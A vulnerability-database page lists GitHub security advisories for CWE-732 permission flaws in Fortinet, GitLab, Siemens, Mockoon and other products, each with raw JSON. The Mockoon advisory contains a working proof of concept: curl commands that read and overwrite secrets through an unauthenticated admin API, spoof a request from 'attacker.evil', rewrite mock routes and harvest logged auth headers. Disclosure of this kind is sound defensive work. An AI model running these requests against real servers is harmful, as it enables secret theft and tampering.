Common Weakness Enumeration

CWE-732

Allowed-with-Review

Incorrect Permission Assignment for Critical Resource

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

2221 vulnerabilities reference this CWE, most recent first.

GHSA-RPMQ-Q4MW-PC44

Vulnerability from github – Published: 2022-05-13 01:09 – Updated: 2025-10-22 00:31
VLAI
Details

A Improper Access Control in Fortinet FortiOS 6.0.2, 5.6.7 and before, FortiADC 6.1.0, 6.0.0 to 6.0.1, 5.4.0 to 5.4.4 allows attacker to obtain the LDAP server login credentials configured in FortiGate via pointing a LDAP server connectivity test request to a rogue LDAP server instead of the configured one.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13374"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-01-22T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "A Improper Access Control in Fortinet FortiOS 6.0.2, 5.6.7 and before, FortiADC 6.1.0, 6.0.0 to 6.0.1, 5.4.0 to 5.4.4 allows attacker to obtain the LDAP server login credentials configured in FortiGate via pointing a LDAP server connectivity test request to a rogue LDAP server instead of the configured one.",
  "id": "GHSA-rpmq-q4mw-pc44",
  "modified": "2025-10-22T00:31:37Z",
  "published": "2022-05-13T01:09:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13374"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-18-157"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2018-13374"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RPQ8-42VQ-7257

Vulnerability from github – Published: 2023-12-14 09:30 – Updated: 2023-12-19 21:32
VLAI
Details

There is a weak folder permission vulnerability in ZTE's ZXCLOUD iRAI product. Due to weak folder permission, an attacker with ordinary user privileges could construct a fake DLL to execute command to escalate local privileges.

Severity
6.5 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-25648"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-14T07:15:07Z",
    "severity": "MODERATE"
  },
  "details": "\nThere is a weak folder permission vulnerability in ZTE\u0027s ZXCLOUD iRAI product. Due to weak folder permission, an attacker with ordinary user privileges could construct a fake DLL\u00a0to execute command to escalate local privileges.\n\n",
  "id": "GHSA-rpq8-42vq-7257",
  "modified": "2023-12-19T21:32:19Z",
  "published": "2023-12-14T09:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25648"
    },
    {
      "type": "WEB",
      "url": "https://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1032584"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQ24-VHFQ-6V9X

Vulnerability from github – Published: 2023-02-24 00:30 – Updated: 2023-03-03 18:30
VLAI
Details

Clash for Windows v0.20.12 was discovered to contain a remote code execution (RCE) vulnerability which is exploited via overwriting the configuration file (cfw-setting.yaml).

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-24205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-23T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Clash for Windows v0.20.12 was discovered to contain a remote code execution (RCE) vulnerability which is exploited via overwriting the configuration file (cfw-setting.yaml).",
  "id": "GHSA-rq24-vhfq-6v9x",
  "modified": "2023-03-03T18:30:26Z",
  "published": "2023-02-24T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Fndroid/clash_for_windows_pkg/issues/3891"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Fndroid/clash_for_windows_pkg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQ5M-JV7G-WWV9

Vulnerability from github – Published: 2022-05-01 18:39 – Updated: 2025-04-09 03:48
VLAI
Details

Invensys Wonderware InTouch 8.0 creates a NetDDE share with insecure permissions (Everyone/Full Control), which allows remote authenticated attackers, and possibly anonymous users, to execute arbitrary programs.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2007-6033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-11-20T02:46:00Z",
    "severity": "HIGH"
  },
  "details": "Invensys Wonderware InTouch 8.0 creates a NetDDE share with insecure permissions (Everyone/Full Control), which allows remote authenticated attackers, and possibly anonymous users, to execute arbitrary programs.",
  "id": "GHSA-rq5m-jv7g-wwv9",
  "modified": "2025-04-09T03:48:34Z",
  "published": "2022-05-01T18:39:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6033"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/42398"
    },
    {
      "type": "WEB",
      "url": "http://pacwest.wonderware.com/web/News/NewsDetails.aspx?NewsThreadID=2\u0026NewsID=201804"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27751"
    },
    {
      "type": "WEB",
      "url": "http://www.digitalbond.com/index.php/2007/11/19/wonderware-intouch-80-netdde-vulnerability-s4-preview"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/138633"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26496"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQ6H-R956-9P9R

Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-07-02 00:00
VLAI
Details

A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.X (All versions), SIMATIC PDM (All versions), SIMATIC STEP 7 V5.X (All versions < V5.7), SINAMICS STARTER (containing STEP 7 OEM version) (All versions). A directory containing metafiles relevant to devices' configurations has write permissions. An attacker could leverage this vulnerability by changing the content of certain metafiles and subsequently manipulate parameters or behavior of devices that would be later configured by the affected software.

Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31894"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-13T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC PCS 7 V8.2 and earlier (All versions), SIMATIC PCS 7 V9.X (All versions), SIMATIC PDM (All versions), SIMATIC STEP 7 V5.X (All versions \u003c V5.7), SINAMICS STARTER (containing STEP 7 OEM version) (All versions). A directory containing metafiles relevant to devices\u0027 configurations has write permissions. An attacker could leverage this vulnerability by changing the content of certain metafiles and subsequently manipulate parameters or behavior of devices that would be later configured by the affected software.",
  "id": "GHSA-rq6h-r956-9p9r",
  "modified": "2022-07-02T00:00:21Z",
  "published": "2022-05-24T19:07:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31894"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-661034.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQG5-28VH-5645

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

OpenClaw versions 2026.5.20 before 2026.6.9 contain a privilege escalation vulnerability in plugin install commands that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can exploit misconfigured input paths or enabled features to escalate privileges and perform unauthorized actions when the feature is reachable.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-62194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:50Z",
    "severity": "HIGH"
  },
  "details": "OpenClaw versions 2026.5.20 before 2026.6.9 contain a privilege escalation vulnerability in plugin install commands that allows lower-trust callers to execute or persist actions beyond their intended authorization. Attackers can exploit misconfigured input paths or enabled features to escalate privileges and perform unauthorized actions when the feature is reachable.",
  "id": "GHSA-rqg5-28vh-5645",
  "modified": "2026-07-14T00:31:04Z",
  "published": "2026-07-14T00:31:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-7vrr-rp4x-4g76"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62194"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-plugin-install"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RQGW-47F7-CWW6

Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-09 00:00
VLAI
Details

A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where it was possible for an unauthorised user to execute arbitrary code on the server using the project import feature.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-2185"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-01T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A critical issue has been discovered in GitLab affecting all versions starting from 14.0 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1 where it was possible for an unauthorised user to execute arbitrary code on the server using the project import feature.",
  "id": "GHSA-rqgw-47f7-cww6",
  "modified": "2022-07-09T00:00:18Z",
  "published": "2022-07-02T00:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2185"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1609965"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-2185.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/366088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RQX4-3F6Q-3X2V

Vulnerability from github – Published: 2026-09-11 22:04 – Updated: 2026-09-11 22:04
VLAI
Summary
@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft
Details

Summary

Mockoon's admin API (commons-server/src/libs/server/admin-api.ts) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

  • Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
  • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
  • Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
  • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
  • Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

PoC

Live reproduction (2026-05-11, @mockoon/cli@9.6.1)

npm install @mockoon/cli@9.6.1. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

5) Rewrite every mock route via unauth PUT /environment

$ curl -s -X PUT http://127.0.0.1:3100/mockoon-admin/environment \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{ ...full env JSON with route response rewritten to body "ATTACKER_PWNED",
          statusCode 418, header X-Pwned: by-attacker.evil... }'
{"message":"Environment updated"}

$ curl -s -i http://127.0.0.1:3100/users/99
HTTP/1.1 418 I'm a Teapot
X-Pwned: by-attacker.evil
Content-Type: application/json
{"id":"99","name":"ATTACKER_PWNED","role":"admin","backdoor":true}

6) Read transaction logs / SSE stream → harvest consumer's auth headers

$ curl -s http://127.0.0.1:3100/mockoon-admin/logs?limit=2

Each log entry includes consumer's request.headers (Authorization / Cookie / X-API-Key), request.body, request.urlPath, and the response served back — continuous info-disclosure of every API call the legitimate consumer makes against the mock. GET /mockoon-admin/events streams the same data live via SSE.

7) Purge state (DoS)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/state/purge
{"response":"Server has been reset to its initial state"}

Impact

In typical local-dev mode (CVSS 8.8 High):

  • Secret read of every MOCKOON_* env var (API keys, JWT signing keys, OAuth client secrets).
  • Secret write to any process.env key — poison operator's secrets, swap AWS/SDK creds.
  • Runtime rewrite of every mock route's body / status / headers → downstream consumer ingests attacker-controlled data + headers (Set-Cookie, Location, CSP).
  • Auth-token harvesting via transaction logs / SSE stream.
  • State purge / DoS.

In network-exposed deployment (CVSS 9.4 Critical):

  • All of the above without user interaction. The serverless wrapper hardcodes enableAdminApi: true; mockoon/cli Docker image inherits the same default and is commonly deployed in shared CI / staging environments.

Suggested fix

  1. Require explicit authentication on the admin API by default. Print an auto-generated bearer token on CLI startup (Jupyter-style), keyed off MOCKOON_ADMIN_TOKEN env var, compared with crypto.timingSafeEqual.
  2. Stop sending Access-Control-Allow-Origin: * on admin endpoints. Default: no CORS at all (browser will block cross-origin reads). Operators who run a separate admin UI on another origin can opt-in with --admin-api-origin.
  3. Bind the admin API to loopback by default, on a separate port or behind a remote-address check.
  4. Add a prefix check on the setEnvVarHandler matching the prepend behavior on the GET handler — reject any key that doesn't start with envVarsPrefix.
  5. Add SECURITY.md with disclosure instructions.
  6. Ship @mockoon/serverless and mockoon/cli Docker image with enableAdminApi: false by default; opt-in via flag.
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/commons-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@mockoon/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-732",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-11T22:04:42Z",
    "nvd_published_at": "2026-07-09T19:17:07Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nMockoon\u0027s admin API ([`commons-server/src/libs/server/admin-api.ts`](https://github.com/mockoon/mockoon/blob/4375a8f/packages/commons-server/src/libs/server/admin-api.ts)) is mounted on the same Express listener as the user-defined mock routes, **enabled by default** in every shipped runtime (commons-server, CLI, serverless), serves **`Access-Control-Allow-Origin: *` on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and `Content-Type` in `Access-Control-Allow-Headers`**, and has **zero authentication of any kind** (no token, no shared secret, no `MOCKOON_ADMIN_TOKEN` env var \u2014 searched the repo, returns zero hits).\n\nAny unauthenticated caller who can reach the mock server\u0027s port (default `0.0.0.0:3000`) can:\n\n- Read every `MOCKOON_*` env var used by the operator as secret material in templates (`getEnvVar` helper).\n- **Write arbitrary process env vars (no prefix check on the WRITE path)** \u2014 poison operator\u0027s `MOCKOON_API_KEY`, `MOCKOON_JWT_SECRET`, \u2026, or write process-level vars like `AWS_SECRET_ACCESS_KEY` that the surrounding runtime consumes.\n- **Rewrite every mock route\u0027s body / status / headers in-runtime** via `PUT /mockoon-admin/environment` \u2014 downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including `Set-Cookie`, `Location`, `Content-Security-Policy`, etc.\n- Read transaction logs / SSE stream (consumer\u0027s request bodies + auth headers in clear).\n- Read/write global template vars; purge state / data buckets / logs.\n\nBecause of the wildcard CORS reply, the attack **also lands cross-origin from a browser**: a developer who runs `mockoon-cli start ...` locally and visits a malicious website gets their mock state hijacked.\n\n---\n\n## Details\n\n### Root cause\n\n`packages/commons-server/src/libs/server/server.ts:127`:\n\n```ts\nprivate options: ServerOptions = {\n  ...,\n  enableAdminApi: true,        // \u2190 default on\n};\n```\n\n`packages/cli/src/commands/start.ts:200`:\n\n```ts\nenableAdminApi: !userFlags[\u0027disable-admin-api\u0027],   // default true unless --disable-admin-api passed\n```\n\n`packages/serverless/src/libs/serverless.ts:21`:\n\n```ts\nenableAdminApi: true,          // \u2190 default on, no flag to disable in the constructor\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:63-74` (permissive CORS on every admin endpoint):\n\n```ts\napp.use(`${adminApiPrefix}*`, (req, res, next) =\u003e {\n  res.setHeaders(\n    new Headers({\n      \u0027Access-Control-Allow-Origin\u0027: \u0027*\u0027,\n      \u0027Access-Control-Allow-Methods\u0027:\n        \u0027GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\u0027,\n      \u0027Access-Control-Allow-Headers\u0027:\n        \u0027Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\u0027\n    })\n  );\n  next();\n});\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:151-166` (no auth, no prefix check on WRITE):\n\n```ts\nconst setEnvVarHandler = (req, res) =\u003e {\n  try {\n    const { key, value } = req.body;\n    if (key !== undefined \u0026\u0026 value !== undefined) {\n      process.env[key] = value;                            // \u2190 any process env, any value\n      res.send({ message: `Environment variable \u0027${key}\u0027 has been set to \u0027${value}\u0027` });\n    } else {\n      throw new Error(\u0027Key or value missing from request\u0027);\n    }\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid request\u0027 });\n  }\n};\n```\n\n`packages/commons-server/src/libs/server/admin-api.ts:373-393` (the most impactful \u2014 runtime mock rewrite):\n\n```ts\napp.put(`${adminApiPrefix}/environment`, (req, res) =\u003e {\n  try {\n    const environment: Environment = EnvironmentSchema.validate(req.body).value;\n    if (!environment) {\n      res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n      return;\n    }\n    updateEnvironment(environment);                        // \u2190 runtime mutation of every route response\n    res.send({ message: \u0027Environment updated\u0027 });\n  } catch (_error) {\n    res.status(400).send({ message: \u0027Invalid environment format\u0027 });\n  }\n});\n```\n\nDefault `hostname: \u0027\u0027` (`packages/commons/src/constants/environment-schema.constants.ts:33`) \u2192 Node binds `0.0.0.0`/`::` (confirmed via `lsof`). Migration #16 (`packages/commons/src/libs/migrations.ts:343`) also forces missing hostnames to `\u00270.0.0.0\u0027`.\n\n---\n\n## PoC\n\n### Live reproduction (2026-05-11, `@mockoon/cli@9.6.1`)\n\n`npm install @mockoon/cli@9.6.1`. Minimal `env.json` with one route `GET /users/:id` whose response templates `{{getEnvVar \u0027MOCKOON_API_KEY\u0027}}`. Start with:\n\n```\nMOCKOON_API_KEY=\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\" \\\n  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file\n```\n\nBind confirmed via `lsof`:\n\n```\nCOMMAND  PID    USER  FD  TYPE  ...  NAME\nnode    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    \u003c-- all interfaces\n```\n\nBaseline mock response:\n\n```\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 1) Read operator secret unauth\n\n```\n$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY\nHTTP/1.1 200 OK\naccess-control-allow-origin: *\n{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-operator-real-secret-DO_NOT_LEAK_xyz789\"}\n```\n\n#### 2) Poison operator secret unauth \u2192 downstream consumer ingests attacker value\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"MOCKOON_API_KEY\",\"value\":\"sk-POISONED-BY-ATTACKER\"}\u0027\n{\"message\":\"Environment variable \u0027MOCKOON_API_KEY\u0027 has been set to \u0027sk-POISONED-BY-ATTACKER\u0027\"}\n\n$ curl -s http://127.0.0.1:3100/users/42\n{\"id\":\"42\",\"name\":\"BENIGN_ALICE\",\"role\":\"user\",\"apiKey\":\"sk-POISONED-BY-ATTACKER\"}\n```\n\n#### 3) Write arbitrary non-`MOCKOON_*` env var (no prefix gate)\n\n```\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"key\":\"AWS_SECRET_ACCESS_KEY\",\"value\":\"overwritten-by-attacker\"}\u0027\n{\"message\":\"Environment variable \u0027AWS_SECRET_ACCESS_KEY\u0027 has been set to \u0027overwritten-by-attacker\u0027\"}\n```\n\n#### 4) Cross-origin CSRF from `https://attacker.evil`\n\n```\n$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Access-Control-Request-Method: POST\" \\\n    -H \"Access-Control-Request-Headers: Content-Type\"\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS\nAccess-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With\n\n$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \\\n    -H \"Origin: https://attacker.evil\" \\\n    -H \"Content-Type: application/json\" \\\n    -d 